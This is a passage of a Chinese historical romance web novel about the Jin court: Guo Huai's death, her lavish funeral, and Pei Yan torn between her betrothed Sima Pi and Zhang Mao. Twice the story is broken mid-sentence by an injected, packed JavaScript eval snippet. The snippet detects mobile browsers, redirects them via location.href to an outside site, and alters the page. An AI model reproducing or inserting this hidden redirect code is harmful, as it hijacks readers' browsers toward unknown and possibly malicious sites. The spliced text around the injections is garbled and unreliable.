“方士有用,要你们医官作甚!”贾裕没等贾后发作,自己先跳出来指责道。 他一口一个“你们”,把自己摘得干干净净,却不知自他做了太医令始,便与太医署的医官是一体的了。 医正被他一句话训得大气不敢出,可怜一把老骨头,弓着腰哈着背,唯唯诺诺地站在比自己小了几十岁的贾裕面前,浑似没了脊梁骨的狗,可怜,可悲。 贾后冷眼瞪了贾裕一眼,稀奇的是,她在得知结果后,并未发作太医丞的医官们,反而喃喃自语似的,问医正:“我母亲,真的已人力不能及了么?” 医正身上一寒,闭上眼,做着要被贾后陪葬的准备,艰难地点了点头。 出人意料的,贾后并没有责怪甚至降罪于他们。只是疲惫地挥挥手,对他们道:“既如此,为难你们也无用,都下去吧!” 医师们如蒙大赦,纷纷背上药箱药囊逃也似的退了出去。 贾裕傻眼了,他也好想跟着出去啊!可他刚刚还以局外人的身份呵斥了这些医官,跟他们把界限划的干干净净,如今真是留也不是,走也不行。 他尴尬地看了眼贾后身边的韩芷,露出求助的目光。 韩芷对这位贾家族叔素来看不起,可禁不住他那可怜兮兮的眼神,只得转过身,轻言轻语地对闭目沉思的贾后道:“娘娘,您已连着守了大母三日,铁打的身子也禁不住这般熬法。不如今晚我与母亲值夜,明早您再来探病,如何?” 下面人也包括贾裕在内,纷纷附和。 贾后却不耐烦地朝诸人摆手,疲惫地道:“我自己的身子自己清楚,还轮不到你来劝我。你们且先出去吧。待你大母醒来,我有话要与她说。” 韩芷与自己的母亲——坐在贾后另一侧的贾午对视了一眼。 贾午对贾后道:“既如此,其他人都下去吧,我陪阿姊守着。” 贾南风却摇头,连妹妹都不留:“你也走。” 皇后素来说一不二,贾午只好领着诸人退了下去。 半夜,郭槐突然醒了过来。看到自己那贵为皇后的长女正趴睡在自己的脚边,她心肠一软,艰难地半支起身子,伸手爱怜地抚了抚皇后凌乱的发顶。 世人皆道她郭槐是当世妒妇、悍妇,为了一己之私,竟把外孙过继来贾家做嗣子,害夫家偌大的产业落入外姓之手。 可是,她若不这样做,府里哪还有她和女儿们的立足之地? 外孙虽不与贾家同姓,却好歹是自己女儿的血脉,那过继来的嗣子,岂会跟自己和女儿们一条心? 她的小女儿贾午是个没脑子的混不吝,小女婿韩寿又是个空有其表的庸碌花瓶。 大女婿倒是皇帝呢,可惜却是傻子。 这个家里唯一能支棱起来的,只有眼前这个其貌不扬的长女。 她想起以往自己对长女倾注的心力,时光如梭,过去种种,犹如过眼云烟,一晃,曾经肥兜兜的小女娃,如今也成了独当一面的国母了! 郭槐既觉得欣慰,又忧心忡忡——皇后手段再了得,偏偏无子啊! 贾后睡得本也不踏实,迷迷糊糊中,察觉有人在抚摸自己的发顶。 她本能地一惊,立刻坐直了身子,就见床上自己的母亲郭槐正半坐着,慈爱地看着自己。 贾后心里一紧,隐约意识到,这恐怕就是医家常说的“回光返照”吧!鼻头忍不住一酸,眼泪便大颗大颗地滚落下来。 在外叱咤风云多年的皇后,在生母面前,竟哭得犹如稚子。 “噤声!”郭槐有气无力地对她道,“娘娘……老身自知时日无多,有些话不得不讲。” 贾后心知肚明,抹抹眼泪,道:“可是放心不下东宫?” 郭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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然而贾后话音刚落,那只拽住她的枯手便掉落了下去。 守在外间的贾裕正蜷着身子,迷糊地抱着柱子打盹,突然听到内室传来一声撕心裂肺的嚎啕,吓得他天灵盖一紧,屁滚尿流地推门进去。 守在附近厢房里的贾午等人也被惊醒,纷纷匆匆忙忙地披衣赶来——贾皇后之母,宜城君郭槐,当晚逝了。 元康六年,宜城君郭氏过世,享年六十,谥号“宣”。 贾后特加殊礼,时人颇有微辞——郭槐的丧礼是仿照太后丧礼的规格置办的。 当年太后杨芷被贾南风暗杀,不过一张草席卷入乱葬岗,草草掩埋了事。 然而身为外戚的郭槐反而享着太后的丧仪。这一举措,也使得原本就不满于贾后掌权的那些宗室藩王们更加忿忿不平,对贾后的积怨日深,却无人敢宣之于口。 丧礼上,被郭槐护持长大的太子哭得肝肠寸断,时人皆赞太子纯孝。 贾谧却嘴巴一瞥,翻起眼角不屑地白了太子一眼。 大母在时,未见他勤加侍奉,倒是大母走了,却哭得跟孝子贤孙似的,这戏做的,以为皇后心里没数?呵呵! 丧礼这事,不是没人劝过皇后,姻亲裴頠也好,族亲贾模也罢,都劝过她——近年天灾人祸频仍,丧事宜从简。 可皇后却对这些心腹的意见置之不理,依然坚持大办特办。 对于钜鹿郡公府而言,更糟糕的还在后面,郭夫人听闻长姊故去后,竟直接晕厥过去。后虽然醒转,却口不能言手不能动,半边身子麻木僵直,三日后,竟连水米也进不得了。医正来看过,亦束手无策。 就在宜城君过世十日后,钜鹿郡公府太夫人郭氏也驾鹤西去。 两位郭夫人相继离世,不管是对皇后,还是对裴府,亦或是对整个京城的局势,都造成了很大的冲击。 张茂收到裴府来信时,刚随父亲打退了一支卢水胡的进攻。 这场仗可谓赢得分外艰难——梁王初初到任,赵王拖延不肯移交节钺。梁王还想杀孙秀示威,也被赵王强行拦下了。梁王不愿与赵王交恶。是以赵王拖着不交权柄,他也不好硬催。 待卢水胡的这支敌军来袭时,张家父子刚刚移防。懦弱无能的梁王压根无法给张家提供援兵和粮草。 还好张轨熟悉地形,巧用地势,提前设下口袋,这才全歼了这支劲敌。 张茂把浴血的手在锁子甲上擦了擦,迫不及待地从部曲手里接过裴妍的信,信里无其他内容。裴妍只是伤心地告诉他,自己的大母和姨婆先后走了,“满府缟素,戚戚不成声”。 张茂出征的时候两位郭夫人身子就已经很不好了,这样的结果其实早有预判。他没有多悲伤——他的身边还横着一堆没来得及收拾的尸体,有自己的同袍,也有敌军的。 看惯了战场上的生死相搏,能似两位夫人这样,在温室暖房里寿终正寝,是福气。 生死有命,富贵在天! 他只是长长地长长地叹了口气,转头命随军侍奉的听雨给自己找来一根白绸,默默地系在了环锁铠内的军袍下…… 39. 远芳疑似故人来,诸侯受诏回洛京 整个春日,裴妍因在丧中的缘故,和裴妡一道,宅在家里哪也没去。 直到立夏前日,她禀过郭夫人,携了容秋和一队部曲,前往东郊的清净观——每年这时节,裴府都会为当初在王家别院遭难的故人做一个道场。 这两年裴妍回来了,便想亲自去祭奠。这也是郭夫人的意思,她的乳母柳氏便是在这场突变中遭的灾。她特地强调女儿:“柳媪那里,替我也上柱香。” 裴妡本想跟着堂姐去,却被裴妍拒绝了——裴妡下旬就要及笄了。虽说丧中诸事从简,裴妡的笄礼比裴妍的规模小很多,但依然有许多事情需要她做准备。何况,东郊那件事是裴妍一辈子的心结,她只想在道场里一个人好好地静一静。 去的时候诸事皆顺,裴妍的心绪亦在法师们的祷词中平复许多。 然而天有不测风云,回程时本来万里无云的晴空不知打哪儿压来片片黑云,不一会便狂风大作,雷声隐隐,很快就大雨倾盆。 都说春雨如油,似这般瓢泼的雷雨天气在春天实属罕见。裴妍坐在马车上,车顶盖了油布,倒是还好,可怜了两旁的部曲,顶着寒风大雨地前进。 裴妍皱眉,拉开车窗看了眼外面,一阵凉风过境,裴妍被刺激得打了一串喷嚏。 容秋赶紧替她把车窗拉好,劝她:“雨大着呢,仔细风寒。” 裴妍却道:“你去跟裴池说一声,找个地方躲雨先。”雷雨来得快走得也快,她们又不赶行程,没必要顶风走。 容秋赶紧去传令。 裴池回话前行不到一里正巧有个驿馆,可作落脚之处。 裴妍便命诸人快马加鞭去驿站休憩。 这驿馆是开在京畿的八个行馆之一,主要接待东来的官宦和世家。驿馆修建得虽不豪华,倒也干净。 裴妍虽只是进来躲雨,裴池还是给她要了一间上房小憩用。 然而驿丞却告知:“近日驿馆的厢房都被一家贵人订了去。” 裴池皱眉,不满道:“某出自钜鹿郡公府,烦请您与那家贵人通融一声,匀一间与我们。”总不能让他家贵女顶着幂离坐在大堂里等吧! 驿丞心里一紧,谁不知道钜鹿郡公的女郎与东海王府的世子刚订亲,包下厢房的正是东海王府!这不是巧了! 驿丞满口应承:“贵人稍待,某这就去问。” 裴池点头,并没有多少意外,管你哪家贵人,满京城还真没人敢不给钜鹿郡公面子。 果然,没过多久,驿丞便喜笑颜开地来请人:“那家贵人后日才到,今日来的只是打头的部曲。他们已让出最好的上房与贵女歇息用。” 裴妍舒了口气,在容秋地搀扶下上了楼。 她身上确实有些不舒服。许是葵水将至,又受冷风刺激,竟至手脚冰冷。 外面雷声虽小了,但这雨却罕见的大,一时半刻停不了,大堂却越来越冷。再不要间房,自己怕是真要受风寒! 行至半途,容秋突然停下来看了眼拐角的柱子,微不可查地皱了皱眉。 裴妍分到的这间厢房显然被人事先布置过,内室矮塌旁的铜盆里正烧着银丝炭,案上忍冬香炉的白烟袅袅,桌上还摆着煮好的姜茶。 裴妍咦了一声,道:“这驿丞手脚好生麻利。我们还没上来,人家已经安置好了呢!” 容秋笑笑没有说话。 她警觉地沿着房间转了一圈,这里显然是事前就收拾好的。 让间房并不难,只是谁会将这种辛苦布置好的房间让给不相识的外人呢?如此殷勤,莫非是裴府故人? 裴妍却没有多想。她喝了一大口姜茶,胃里瞬间暖了许多。她素来惧寒,见矮塌旁的炭炉烧得正旺,忍不住躺了上去。榻上的被褥熏得暖融融的,还带着熟悉的忍冬香气,裴妍刚躺下去,就觉得浑身舒坦,忍不住打了个大大的哈气。为了赶天光,她今晨一早就动身了,到了下半晌,正感困乏,这温暖舒适的软榻正适合小寐。 容秋却毫无困意。她守在裴妍的榻边若有所思——订这房间的究竟是哪家?若有心示好,怎么不派人过来打声招呼?若无心交游,何必费心费力地把自己布置好的房间让给她们?世上当真有这样善心的贵人?奇也怪哉! 另一厢,裴妍房间的隔壁,一个部曲打扮的少年正苦着脸抱怨:“石哥,我们好不容易把房间打点好,只等后日王妃和世子来住了。您却把给王妃准备的房间让给外人。这要让王妃和世子知道,不得降罪我等?” 那个被叫做“石哥”的郎君抬起头来,只见他高鼻深目,赤须卷发,白面皮络腮胡,竟是个正统的胡人!他的眼珠是天水一样的碧色,犹如一汪平静的湖水,带着无尽的幽深。尤其看人的时候,清凌凌的,似能看进人的心底。 他面不改色地啃完一个鸭梨,手腕一翻,梨核便打在了那少年的膝盖上。 少年“哎呦”一声,眼里含泪,差点跪在地上,喊疼道:“你打我干嘛!” “石哥”拿碧绿的眸子瞥他一眼,少年只觉浑身一冷。 “石哥”道:“钜鹿郡公府是世子妇的娘家。说不得,那头戴幂离的女郎就是那位世子妇。咱们包下驿站却不让人家落脚,王妃知道才会要了咱的命!” 那部曲摸了摸自己的后脑勺,嘀咕道:“原来如此,你不早说!” “石哥”恨铁不成钢:“平日让你多留个心眼,你就是不听。如今差点得罪东家还不自知,迟早蠢死!” 那少年不敢回嘴,只更加卖力地上下擦洗房里的物事。 石哥摇头,还是不开窍啊,提点他道:“别忙了,趁着家老未到,喊外面的兄弟进来喝两杯是正经。” 那小部曲茫然道:“这是预备给世子的房间,咱们不拾掇干净吗?王妃和世子后天就来了。” “石哥”讥讽一笑:“贵人的里屋哪轮得到你我布置?若非这一路匪患不绝,如你我这样的胡奴,也配打这前站?” 他起身背着手看了一圈干净整洁的房间,自嘲道:“你就是收拾得再好,家老一到,也得全部撤了重新来过。” 那小部曲两眼圆瞪,粗糙的手忍不住在簇新的罗帐上摩挲半晌,一不小心手上的老皮就把真丝织就的软帐勾出老长一节银丝来。 他吓得赶紧缩回手,咋舌:“这么好的帐子说换就换了?” 石哥又是一个白眼:“土相!贵人谁不如此?恨不能恭桶都是金的!你当如我等泥腿子,寒窑也能睡得香?” 说到这里,他碧绿的眸子闪了闪,似乎想起,倒曾经有个小贵人被迫与他在阴暗逼仄的地窖里待过几个时辰。 他转头看了眼墙壁,似乎透过那堵墙,可以见到谁似的。 裴妍上楼那会,他躲在柱子后头看她。起初他也不确定钜鹿郡公府的贵人是不是她。 然而,当她抬起头时,虽说隔着幂离,他还是一眼就认出了她——其实她个子长高不少,脸也被幂离遮着看不见,但是没来由的,他知道那就是她——那个曾释他奴籍,赐他名姓,又与他一起在寒冷的地窖里共过患难的小女郎! 可是,即便认出了又怎样?她身边的女仆不过朝他所在的柱子看了一眼,他就得避到柱子后头躲着——他只是一个卑下的胡奴,还能上前与她招呼不成?他之于她,只是一个下人而已。也许她都不记得他这个人了! 呸,又胡思乱想了!她不记得自己又怎样,管她呢! 石勒自嘲一笑,自袖囊里掏出几点碎银,掂了掂,下楼招呼同来的伙伴去了。 容秋终于从裴池那里打听清楚了,原来包下这家驿站的是东海王府的部曲。 她的心既放了下去又提了起来。东海王府是裴妍未来的婆家,自是信得过的。但他家部曲都到了,还包了驿站,可见王妃和世子这两日也要到了。 容秋是知道张茂与裴妍的关系的,她不禁为元娘担忧起来。 这些,裴妍是不会知道的。她正躺在矮塌上,呼呼大睡呢!真真是,红颜无意祸春水,春水已然暗波生! …… 今年的气候极端反常,三天前还狂风暴雨,冷得要死,人们恨不能把收起的冬裘翻出来披上。 今日却突然艳阳高照,地面迅速回温,烘得人们连春衫都嫌厚,早早把未经暴晒的夏衣穿上。 到了春夏之交,穿着清凉的人们跟着天气一同活泛起来,于是走街串巷的货郎越来越多,不时担着满筐的花饰进出各大府邸的小门,自有拿了月利的仆妇等着采买。 正当午时,铜驼大街上突然人声鼎沸。街边的太尉坊恰有一个担花穿巷的货郎,他赶紧放下空了一半的担子,挤到坊门口凑热闹。 那里已经站了不少人,他好不容易挤到前面去,伸头就见大街上迎面走来一队全副武装的亲兵,后面年轻冶丽的婢女簇拥着一辆金饰罗帐的牛车。车后还有仆从赶着一堆长相稀奇的珍禽异兽,最后面还跟着各种肤色、着装怪异的外邦人。 有知情的人指点:“知道不?这是当今圣上的叔祖,从雍凉换防回来的赵王!” “皇帝的祖辈?”众人唏嘘,“难怪阵仗这么大呢!” 唯有那货郎微不可查地摇摇头,鼻子里鄙夷地哼了一声。他长年在高门大户里行走,进出过的高门不少,虽然都是从奴仆的小门进的(他也只能到这里了),但也听了不少贵人的轶事。 京城最不缺的就是皇亲国戚、著姓豪族。可有哪个像这位赵王似的,恨不得自己回京,全城都来接驾的?真当自己是皇帝? 从赵王归京的阵仗来看,就可知这位王爷,本事不大,心气却不小,偏偏他的辈分还高。皇帝嫡亲的叔祖又正当年的,也就他和梁王了。 因此,尽管他把雍凉搅合得乱七八糟。临了,皇后贾南风还得好声好气地把他召回京城供起来。 贾后原想着这位爷爷没本事,就散官虚禄地养着好了,哪想到她低估了赵王的厚脸皮。人家仗着皇帝叔祖的辈分,开口就跟侄孙媳妇要个尚书令当当。 这下不仅皇后不乐意,整个朝廷都炸开来。 尚书令相当于丞相,贾后的亲信如贾模、裴頠、陈准等还一个都没当上呢,你个刚把雍凉搅得一团糟的罪臣何德何能担此高位?也不嫌躁得慌! 张华首先反对,中书令陈准、侍中贾模附议,王衍摸了摸鼻子,也附议。裴頠这是守孝去了,否则定然也是要附议的。就连与裴王两家不合的羊瑾也站了出来。在反对赵王这件事上,不管是太子党还是后党,著姓还是寒门,都出奇的一致。 这可把赵王气得够呛。他忍不住跟自己的宠臣孙秀抱怨:“京城人素来跟红顶白,眼见贾后势大,竟连我这圣上的叔祖都不放在眼里。” 孙秀眼珠一转,祸水东引道:“某却听闻,原先圣上与皇后皆属意您的,只是有小人作祟,未能成行。”又添油加醋地将此次反对赵王的大锅全扣在了张华身上。 本来嘛,枪打出头鸟,第一个提出反对意见的就是张华。皇后不同意的锅由张华来背,正合适。加上他曾力劝梁王杀自己,孙秀正好一并把这仇报了! 赵王是个睚眦必报的小人,自此,他对张华恨不能除之后快! 赵王回京的翌日,钜鹿郡公府的后宅也迎来了两位远道而来的客人。 按理,钜鹿郡公府正处在丧中,不宜接待外客。 府中,裴頠夫妇、小郭氏还有长房的裴憬夫妇、裴妍都要守孝三年,二房子女的裴崇、裴该和裴妡也要守一年。这正合了家主裴頠之意。 他计算着,如今赵王入京,宗室与外戚、后党与太子只怕矛盾更甚,自家这时候急流勇退,正是好时机。 因此他借着守丧闭门谢客,连贾后夺情的旨意都没有理睬,从来门庭若市的钜鹿郡公府一下子门前冷落起来。 裴妃和司马毗就是在这个时候来的裴家。裴妃是裴府族亲,两家又在议亲,是以当家的王夫人拿出了丧期中所能拿出的最高规格接待了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15001233|161778||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她。 因在丧中,裴家人俱穿着素淡。裴妃也是如此。她身着月白折枝纹曲裾,头上仅插了一枚碧玉簪。 裴妃先是到家祠给郭老夫人上了香,然后才与诸妇人转去花厅吃茶。裴妍和裴妡也被小郭氏和王氏叫了出来。 裴妡见裴妍忧心忡忡的模样,暗暗地捏了捏姐姐的手,小声道:“不管你与世子能不能成,亲戚总是要做的。” 裴妍点点头,这才拾起笑意,去迎裴妃。 裴妃这几年身上发福不少,脸上却没什么变化,要说有,大概是那春风得意的精气神,比在丧中的裴家妇人容光焕发多了! 裴妃见到裴妍,先是眼前一亮,继而拉着她的手,上下端详了好一阵,又同样地拉过裴妡上下看了看,不住地点头,夸道:“经年不见,姊妹俩越来越俊了,果然如珠似玉!” 裴妍心里有愧,不敢直视姑姑,只低下头腼腆地笑笑。 裴妡顺口奉承:“姑姑也比以前更美了!” 裴妃把俩姊妹一左一右揽在怀里,叹道:“可让姑姑想得紧!” 相对裴妡的活跃,裴妍却沉默得多。裴妃也好,其他人也罢,皆不以为意,只以为是小女郎大了,知道两家在议亲,害羞了。 上座的小郭氏对裴妃道:“不单你想阿妍,我也怪想世子的,又不是外人,何妨入内一叙。” 这是丈母娘要看女婿了,裴妃欣然应承。 王夫人于是派人去前院书房裴頠处请东海王世子。 晚一辈的新妇及女郎,除始平公主外,余者皆暂避于内室的屏风后。 不一会,外间响起了动静。裴家的妇人都暗自伸长了脖子,想一阅这位未来姑爷的风采。 小郭氏摇便面的手不禁停了下来,只见当头走来一个高大的青年,五官清秀,长眉入鬓,皮肤白皙,身着鸦青色明光锦广袖衫,发拿赤金镶红宝小冠一丝不苟地束着。行止间步履稳健,虽瘦矍,却神采飞扬。 小郭氏点头,这孩子长大了,只眉眼间依稀还有小时候的样子。 司马毗给上首的郭夫人、王夫人和自己的母亲问了安,继而挺直胸膛,站在花厅中央,任内室的妇人寒暄打量。他知道,裴妍定躲在屏风后偷看自己,还特意把身体转过来些,好让屏后的女眷能看得更清楚。 裴妡拉拉裴妍的衣袖,捂着嘴小声评价道:“世子真俊!不比张二郎差呢!” 裴妍啐她:“多嘴!” 张茂也是洛阳城里有名的佳公子,只是身世不显,故而被贵人拿来打趣的多。 身后的二嫂崔氏听了也没有疑心,反而跟着打趣道:“可惜张二郎不在京里,否则定要让两位郎君并车而行,看看谁得的瓜果更多!” 裴妍心烦意燥:“二嫂怎么也跟着说笑话!” 崔华堂以为她在回护司马毗,故意奇道:“咦,我说的他俩,又不是你,你急什么?世子刚来,就迫不及待的护上了?” 知道内情的裴妡暗暗翻白眼,可不是护上了,可惜护的是张家那位! 裴憬的新妇柳蕙察觉到小姑子似乎心有不快。她温柔地揽过裴妍,关切道:“元娘可是身上不舒服?” 裴妍按了按额角,借坡下驴:“许是昨夜没睡好,眼睛跳得厉害。” 柳氏忙问:“是左眼还是右眼?”她老家有左眼跳财右眼跳灾的说法。 裴妍自是知道的,敷衍地道:“左眼。” 哪知柳氏一拍手,笑道:“这就对了!今朝姑爷上门,可不正是喜事中的喜事!” 裴妍只觉更加气郁。 司马毗陪着妇人们聊了会天。小郭氏便邀他去府里书院旁的东湖走走:“陪我等老妇多无趣,世子不妨去我家东湖散散心,那里风景独好。”这是对这个女婿很满意,要安排小儿女私下相见了。 司马毗欣然应好。 裴妍正郁闷着,前面小郭氏就派定春来请她了,自然亦是唤她去东湖“散心”。 裴妍却万分地不想去,回道:“阿母,儿今朝眼睛疼,想回房歇息,改日吧。” 裴妃立马关切道:“可是昨晚没睡好?你这孩子,自小一到恶月,就没个睡相,定是昨夜踢光了寝被,遭了寒。” 小郭氏却不惯着她:“你是眼睛疼,不是脚疼。兴许看看东湖的锦鲤,眼睛就好了!” 裴妍还要推辞,小郭氏加重语气提醒女儿:“现在不冷不热,出去走走正好。你今朝不去,待入了三伏,便是要出来,我也得拦着你了!” 小郭氏特意在“拦着”二字上加重了音,这是拿禁足来吓女儿了。 裴妍怎听不出母亲话里的意思,再看阿母表面温和实则暗藏机锋的眼神,她既心虚又委屈,一身的小脾气被激了上来,话说得柔柔弱弱,意思却一点不含糊:“儿本就苦夏,待房里正好,不用阿母提醒!”言罢,自己蹬蹬蹬地回了房。 诸人都有些诧异,不明白她哪根筋不对,怎么这个节骨眼上突然发起牛脾气来。 尤其小郭夫人,一脸尴尬,自觉在客人跟前失了脸面,歉然地对裴妃道:“这些年我身上不好,对阿妍疏于管教。” 裴妃笑着摇头,把裴妍的小脾气归结为脸皮薄:“是咱们太心急了。孩子们几年未见,生疏在所难免,总要磨段时日。尤其阿妍还是女儿家。” 小郭氏点头附和道:“正是此理!是我想岔了。”她虽觉得女儿今日有些反常,但并未往别处多想,和裴妃一样,只当女儿害羞呢。 小郭氏不禁有些后悔,自己真是太心急了,孩子们长大了,男女有别,哪能像小时候那样,说玩到一处就玩到一处呢?她这么火急火燎地撮合两个小的,阿妍是女儿家,能不羞么! 在座诸人里,惟有柳蕙,皱眉望着小姑子离去的方向,心里有个猜测似乎被证实…… 可怜司马毗顶着大太阳在东湖吹了半天风,看了半晌绿油油的荷叶,什么也没等到,就莫名其妙地被自家阿母叫走了。 40. 青宫荒唐震内廷,天弓张起乱西北 要说这几日钜鹿郡公府着实热闹,司马毗前脚刚走,裴娴后脚就携夫君登门拜访来了。 自从薛五郎就任后,裴娴就随夫君来了京城。她是裴家的族亲,比起裴妍裴妡,她和裴妃的亲缘关系还更近些。不过她显然与这位嫁出去的姑姑不熟,她是来府里找表姐柳蕙还有族妹裴妍的。 裴娴人虽小,但为人机灵,尤其嘴巴甜,见人说人话见鬼说鬼话的功力似是与生俱来。钜鹿郡公府的几位长辈都很喜欢这个族长家的千金,也乐得她多来府里走动。 裴妡却对这位远房从姊不大待见,倒不是说裴娴人不好,而是她觉得裴娴的丈夫薛翊与张家走得太近。她一直怀疑裴娴夫妇是张茂故意留下给裴妍的一步棋。无他,几人闲聊时,裴娴往往三句话里至少有两句是跟张家有关的,不是张家大郎得了什么升迁,就是张家二郎打了多少胜仗。总之,时时不忘在裴妍面前提起张家就对了。 裴妡讽过她几回,可裴娴就跟没听懂似的,下次来,照样又是一堆张家的消息。裴妍很受用,日夜盼着裴娴多来几趟。可裴妡却很烦她。于是,往往裴娴来了,裴妡就避开,话不投机,眼不见为净。 裴娴和裴妍反而松了一口气,裴妡不在,她们互传消息也能更随意些。 今日裴娴来的时候,裴妍正躲在自己后院新开的花圃里侍弄花草——这也是裴妍自司州闻喜老家带来的喜好。 在老家的时候,她娘怕她被乡下郎君勾去凡心,故而处处拘着她,不让她出去交际。她百无聊赖,又不喜女工,只好寄情花草。后来又喜欢上种菜。如今她的花圃就是个“大杂烩”,不单单有花,还养了不少绿油油的青菜。 裴娴不可置信地看看天色,今日上半晌晴空万里,后半晌却乌云密布,眼见着就要落雨,这天气锄草?阿妍莫不是有病? 裴妍自见了裴妃后,便愁绪难解,这才跑园子里消磨时光。待看到裴娴,立马精神一震,开心得扔了手里的杂草,三步并作两步地跑廊上来,开口便问她要张茂的消息。 裴娴也不矫情,她来可不就是为了这个?只见她从袖囊里掏摸出一个巴掌大的竹筒”,递到她面前,眯眼笑道:“胡饼店刚送来的!” 裴妍接过竹筒匆匆打开。张茂的信仍是一段素帛,与以往无异,上面话语不多,皆是关怀之语,信末再次叮嘱她,有事可寻薛五郎与裴娴。不大的素笺,裴妍横看半天竖看半晌,手指在张茂铁画银钩的字迹上一个个摸过去,好似这样,便能离他近点似的。 裴娴叹气,夺过她手里的信笺,折巴折巴收好,对她道:“男人吧,在眼面前的时候装装深情就好,背地里咱还是怎么快活怎么来。千万别给自己找罪受。” 裴妍啐她:“你这么说他?枉他在信里交代我,遇事多与你们商量哩!” 裴娴不屑地道:“呵呵,他还真不把自己当外人!就因为他阿耶提拔了我男人,我就要为他出卖自己的姊妹?浅薄!” 裴妍白了她一眼,把信夺过来,转身进了房里。 裴娴跟在她后面,眼见着她从床帏里掏摸出一个嵌了一圈猫儿石的方胜盒子,小心翼翼地把信放进盒子里,然后连盒带信的隐于床帏里藏好。 裴娴难得看她那么谨慎,想到她如今的处境,不免叹气:“听闻,前不久东海王妃和世子来过?” 裴妍失落地道:“是来过。家里与东海王订了亲,虽说我守丧三年,但不可能与那位总不见面。” 话音刚落,一阵惊雷暴响,积压了半日的黑云终于耐不住寂寞,化作雨水噼里啪啦地倒了一地。琉璃窗外雨水斑驳,道道水痕里,印着一张蹙着眉头的美人脸。 裴娴呷了口茶道:“也对,解除婚约前,你和司马毗才是正儿八经的一对。至于张二郎,他若觉得难受,便自己想办法,早点出面解决这事。” “他解决?这档口,他如何解决?”裴妍喃喃地道。 裴娴皱眉,她满以为张茂与她早有成算:“不是吧?这种事,张茂就没个主意?张家就没个说法?他作为男人不出头,难道让你出头?你能怎么办?总不能跟他私奔吧?” 裴妍目光微动。 裴娴吓了一跳,捂着胸口:“你……你不会真那么想吧?” 裴妍低声道:“万不得已的话……” “呸!”裴娴急得自席上跳起来,激动地一边拿手点着她,一边扶着额,急得来回直走,这时她才深觉自己错了。她满以为张家对裴妍早有打算,比起远在青州的东海王,武将世家的张家于她们小家而言反而更有用些。她做这信差既是顺水推舟,又拍了丈夫上司的马屁,算是两全其美。谁知,今日方知从前到后,皆是张二郎和裴元娘这对小儿女的任意妄为。张家还未必应承这事呢!这如何使得?没有张家背书,他张二郎算个鬼啊!恨死了恨死了,应该问清楚的,不该这么贸贸然给那张二郎传信的。该死的薛翊,都是他,没搞清楚就胡乱怂恿! 裴妍一脸莫名地看着她几圈疾走,不知她这是怎么了?裴娴快走几圈后,终于神志恢复了些,自己的这点小算计自是不能对裴妍说的,可这时候转变阵营未免突兀,只好故作为她着想,恨铁不成钢道:“聘为妻奔为妾。你以为你最值钱的是自己那张美人脸?你以为张茂巴着你,只单单为了你这个人?” 裴娴难得疾言厉色。她坐到裴妍身边,毫不遮掩地把“真相”剖给她看:“你看看兄长们的后院,几个婢子不是美人?可见美貌不值钱!你再看我们河东裴氏的女郎,哪怕是最不起眼的庶女,也能进宫做个贵人。何也?唯有高门出贵女!咱们女儿家,不能像父兄那样在朝为官,振兴家业,但家里却金尊玉贵地养着咱们,图什么?一面么,自是那割不断的血脉情深,另一面,不就是一个女婿半个儿,靠着咱们女儿家的裙带,也能替家里挣个好姻亲吗?” 她指了指自己:“你看,我是家里幼女,与阿姊比,不算高嫁。可即便如此,我嫁给薛五郎,等于替阿耶收拢了汾阴薛氏的嫡支。他家武将起家,在河东势力不俗。我也算以一己之力,替咱们河东裴氏守好了老家。” 惊雷一阵响似一阵,却不如裴娴的话落在耳朵里来得振聋发聩。这样的话,本是常理。搁裴妡那,当是无师自通的准则。只是小郭氏出身庶女,又早早丧夫,她自己都不曾有过选择,更无从给女儿提点。 裴娴见裴妍仍自懵懂,不得已耐下性子,掰过她的肩头,对上她惶惑的大眼睛,直白地总结:“那张二郎若真有本事,你们两情相悦,我自然乐见其成。可他若是个中看不中用的花架子,没法给你依靠,那他的话等同放屁。” “放……放屁?”这话粗俗至极,可更让裴妍震惊的,是裴娴对张茂评价的转变,几日前,她不是还极力夸赞张茂乃“当世冠军侯,天下无双”的吗?怎么今日,竟突然之间,变了口风? 她有些不可置信地看向这位从姊,眼里满是不解与震惶。“你这是怎么了?突然变得和阿妡一条心了?此前,你不是看好张二郎的么?” 裴娴被裴妍清澈的眼神看得自惭形秽,所幸她天生脸皮厚,给自己找补道:“谁说我更看好张二郎了?我看世子和张二郎都不错!” “什……什么?”裴妍被她绕糊涂了。“一句话,”裴娴脸上似是有些燥热,不停地拿团扇扇着,脱口的话却是更加惊世骇俗,“三年后,东海王世子和张二郎,谁中用,你嫁谁!”这话说得既无耻,又耳熟。 裴妍依稀记得,前几日,裴妡也曾这么与她说过,只是言辞文雅些,也更含蓄些。若非裴娴与裴妡不大处得来,她简直怀疑二人是不是事先统一了口径。 没想到,裴娴与裴妡在对张茂的事上,虽“政见”不同,但有一点却是殊途同归的,那就是对家族没用的男人不能要!这也是大多数世家贵女自小便养成的择偶观,而裴妍却是直到及笄后,才第一次触及。 裴妍陷入了深深的沉默。她对张二郎的满腔情意被姊妹们的话击得支离破碎。 室外天光突然暗下来,檐角的铜铃被湿热的南风吹得叮咚乱蹿,一如此刻她烦躁的内心。一道闪电划破云霞,当头劈下,照得裴妍半边脸雪亮,半边脸阴沉。 她感觉脑袋乱糟糟的,既觉得姊妹们说得很有道理,又觉得自己这样想不厚道。既对不住张茂,又对不住司马毗。 